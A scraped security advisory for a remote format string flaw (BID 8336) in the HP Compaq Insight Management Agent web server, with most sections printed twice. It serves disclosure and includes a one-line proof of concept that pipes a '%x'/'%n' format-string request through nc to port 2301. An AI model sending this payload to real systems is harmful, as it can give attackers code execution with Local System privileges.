HP Compaq Insight Management Agent Format String Vulnerability
BID:8336
Info
HP Compaq Insight Management Agent Format String Vulnerability
| Bugtraq ID: | 8336 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 04 2003 12:00AM |
| Updated: | Aug 04 2003 12:00AM |
| Credit: | Discovery is credited to <[email protected]>. |
| Vulnerable: |
Compaq Insight Management Agents 5.0 H |
| Not Vulnerable: | |
Discussion
HP Compaq Insight Management Agent Format String Vulnerability
The Compaq Management Agent HTTP server is vulnerable to a format string issue. A remote attacker may be able to exploit this vulnerability in order to execute arbitrary code with Local System privileges.
The Compaq Management Agent HTTP server is vulnerable to a format string issue. A remote attacker may be able to exploit this vulnerability in order to execute arbitrary code with Local System privileges.
Exploit / POC
HP Compaq Insight Management Agent Format String Vulnerability
The following proof of concept was supplied:
$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168.235.131 2301
The following proof of concept was supplied:
$ printf "GET /<\x21.DebugSearchPaths>?Url=`perl -e 'print "A"x14'`BBBB`perl -e 'print
".%%x"x1208'`%%n> HTTP/1.0\n\n" | nc 192.168.235.131 2301
Solution / Fix
HP Compaq Insight Management Agent Format String Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
HP Compaq Insight Management Agent Format String Vulnerability
References:
References: